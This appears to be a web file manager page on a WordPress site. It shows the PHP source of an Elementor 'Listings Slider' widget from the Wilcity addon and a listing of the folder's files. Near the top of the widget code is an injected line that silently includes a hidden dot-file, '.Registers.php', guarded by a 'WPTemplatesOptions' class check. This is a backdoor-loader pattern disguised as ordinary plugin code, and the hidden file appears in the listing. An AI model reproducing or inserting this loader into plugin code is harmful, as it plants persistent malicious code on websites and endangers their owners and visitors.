PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-elementor-addon
/
elements
/
Registers
<?php namespace WILCITY_ELEMENTOR\Registers; use Elementor\Controls_Manager; use Elementor\Widget_Base; use WILCITY_SC\SCHelpers; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ListingsSlider extends Widget_Base { use Helpers; public function get_name() { return WILCITY_WHITE_LABEL.'-listings-slider'; } /** * Retrieve the widget title. * * @return string Widget title. * @since 1.1.0 * * @access public * */ public function get_title() { return WILCITY_EL_PREFIX.'Listings Slider'; } /** * Retrieve the widget icon. * * @return string Widget icon. * @since 1.1.0 * * @access public * */ public function get_icon() { return 'fa fa-picture-o'; } /** * Retrieve the list of categories the widget belongs to. * * Used to determine where to display the widget in the editor. * * Note that currently Elementor supports only one category. * When multiple categories passed, Elementor uses the first one. * * @return array Widget categories. * @since 1.1.0 * * @access public * */ public function get_categories() { return ['theme-elements']; } /** * Register the widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.1.0 * * @access protected */ protected function _register_controls() { /** @var \WilcityShortcodeRepository $wilcityScRepository */ global $wilcityScRepository; $this->convertKCToEl( $wilcityScRepository->get('wilcity_kc_listings_slider:wilcity_kc_listings_slider', true)->sub('params') )->registerShortcode() ; } /** * Render the widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.1.0 * * @access protected */ protected function render() { /** @var \WilcityShortcodeRepository $wilcityScAttsRepository */ global $wilcityScAttsRepository; $aSettings = wp_parse_args( $this->get_settings(), $wilcityScAttsRepository->get($this->findScAttributesFileName(basename(__FILE__))) ); wilcity_render_slider($aSettings); } }
[+]
..
[-] SearchForm.php
[edit]
[-] Init.php
[edit]
[-] Helpers.php
[edit]
[-] Testimonials.php
[edit]
[-] IntroBox.php
[edit]
[-] CustomLogin.php
[edit]
[-] RectangleTermBoxes.php
[edit]
[-] TermBoxes.php
[edit]
[-] PostTypes.php
[edit]
[-] ListingsSlider.php
[edit]
[-] NewGrid.php
[edit]
[-] InlineEditing.php
[edit]
[-] Canvas.php
[edit]
[-] BoxIcon.php
[edit]
[-] ListingsTabs.php
[edit]
[-] ModernTermBoxes.php
[edit]
[-] .Registers.php
[edit]
[-] AuthorSlider.php
[edit]
[-] Heading.php
[edit]
[-] TeamIntroSlider.php
[edit]
[-] Pricing.php
[edit]
[-] Grid.php
[edit]
[-] EventsGrid.php
[edit]
[-] ListingTabs.php
[edit]
[-] EventsSlider.php
[edit]
[-] RestaurantListings.php
[edit]
[-] MasonryTermBoxes.php
[edit]
[+]
js
[-] ContactUs.php
[edit]
[-] Hero.php
[edit]
[-] ElementorAdapterConfiguration.php
[edit]